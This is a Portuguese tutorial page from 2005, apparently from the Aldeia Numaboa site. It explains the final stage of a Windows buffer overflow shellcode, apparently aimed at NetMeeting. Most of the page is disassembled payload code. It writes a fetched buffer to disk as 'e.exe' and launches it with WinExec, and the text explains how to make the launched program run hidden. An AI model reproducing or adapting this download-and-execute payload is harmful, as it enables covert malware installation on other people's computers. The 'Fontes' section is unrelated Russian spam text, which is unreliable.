A Aldeia Numaboa ancestral ainda está disponível para visitação. É a versão mais antiga da Aldeia que eu não quis simplesmente descartar depois de mais de 10 milhões de pageviews. Como diz a Sirley, nossa cozinheira e filósofa de plantão: "Misericórdia, ai que dó!"

Se você tiver curiosidade, o endereço é numaboa.net.br.

Leia mais...

Segurança

Buffer overflow no Windows

Sab

5

Nov

2005


23:55

(2 votos, média 5.00 de 5) 


     000001F7: 90                           nop
     000001F8: 90                           nop
     000001F9: 90                           nop
     000001FA: 33D2                         xor    edx,edx
     000001FC: 52                           push   edx
     000001FD: 8BD7                         mov    edx,edi
     000001FF: 83EA30                       sub    edx,030  ;"0"
     00000202: 42                           inc    edx
     00000203: 90                           nop
     00000204: 90                           nop
     00000205: 52                           push   edx
     00000206: FF57D8                       call   d,[edi][-0028]

Isto chama a _lcreate (em [EDI-0x28]) para criar um arquivo para o qual poderemos transferir o conteúdo do buffer de memória. Está na hora de dar um lar para os nossos dados! O nome do arquivo é escolhido levando em consideração os últimos 5 caracteres da URL. Neste caso, é "e.exe". Este arquivo será criado no local de onde o exploit foi disparado (geralmente o diretório onde está o 'SpeedDial' do NetMeeting).

     00000209: FF37                         push   d,[edi]
     0000020B: 56                           push   esi
     0000020C: 50                           push   eax
     0000020D: 8BD8                         mov    ebx,eax
     0000020F: FF57DC                       call   d,[edi][-0024]

Neste ponto será feita a escrita para o disco com a chamada para _lwrite (em [EDI-0x24]). O parâmetro com o número de bytes que devem ser escritos está em [EDI]. Portanto, faz-se um PUSH da localização do buffer e do manipulador do arquivo retornado pela _lcreat. Mas, antes de chamar a função, é preciso salvar o manipulador em EBX, o qual não é modificado por _lwrite.

     00000212: 53                           push   ebx
     00000213: FF57E0                       call   d,[edi][-0020]

Finalmente, fechamos o manipulador do arquivo para sacramentar o delito. Agora, tudo o que resta fazer é executar o arquivo baixado e encerrar este processo. Não é preciso se preocupar em limpar a memória ou qualquer coisa do gênero. Seria mais elegante mas, neste caso, não existe nada de elegante smile

     00000216: 90                           nop
     00000217: 90                           nop
     00000218: 90                           nop
     00000219: 33D2                         xor    edx,edx
     0000021B: 42                           inc    edx
     0000021C: 52                           push   edx
     0000021D: 8BD7                         mov    edx,edi
     0000021F: 83EA30                       sub    edx,030  ;"0"
     00000222: 42                           inc    edx
     00000223: 90                           nop
     00000224: 90                           nop
     00000225: 52                           push   edx
     00000226: FF57E4                       call   d,[edi][-001C]

Pois bem, agora basta mandar um aviso para o WinExec rodar o executável! Observe que o primeiro 'inc edx' serve para selecionar o modo "Show Window" do executável. Se você quiser que o executável rode no mocó (escondido), então elimine este linha com um NOP. Neste caso, ao invés de SW_SHOWNORMAL, o modo SW_HIDE é que será ativado. Este é o segundo parâmetro do WinExec; o primeiro é o nome do arquivo.

     00000229: 90                           nop
     0000022A: 90                           nop
     0000022B: 90                           nop
     0000022C: FF57E8                       call   d,[edi][-0018]

Missão cumprida! O ExitProcess vai limpar a bagunça que foi feita. É isso aí.

Fontes
mfx broker выплатыконсилер или корректорлобановский депутатподводная видеокамерапримеры пиарапогружной блендервакансии никас

Informações adicionais